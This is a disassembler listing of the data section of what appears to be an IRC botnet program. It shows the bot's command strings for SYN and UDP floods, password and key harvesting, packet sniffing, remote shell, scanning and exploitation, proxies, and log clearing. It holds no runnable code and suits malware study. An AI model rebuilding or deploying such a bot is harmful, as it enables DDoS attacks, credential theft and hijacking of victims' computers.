		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AA8	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_437B40	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_437B80	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F7C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC8	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438088	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_438194	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381BC	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_43821C	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438238	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_438260	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438288	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382B0	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438308	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_438320	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438328	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438334	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438368	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_438420:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438464	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4384E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438528	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_438560	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABEo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_438610	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_438634	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_438650	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_43865C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_4386A0	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A8	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438738	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_4387B4:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_4387B8	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_4387C8	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_438800	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438838	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_43886C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_4388E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_43892C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438968	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_4389A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415D01+7o
off_438BB0	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
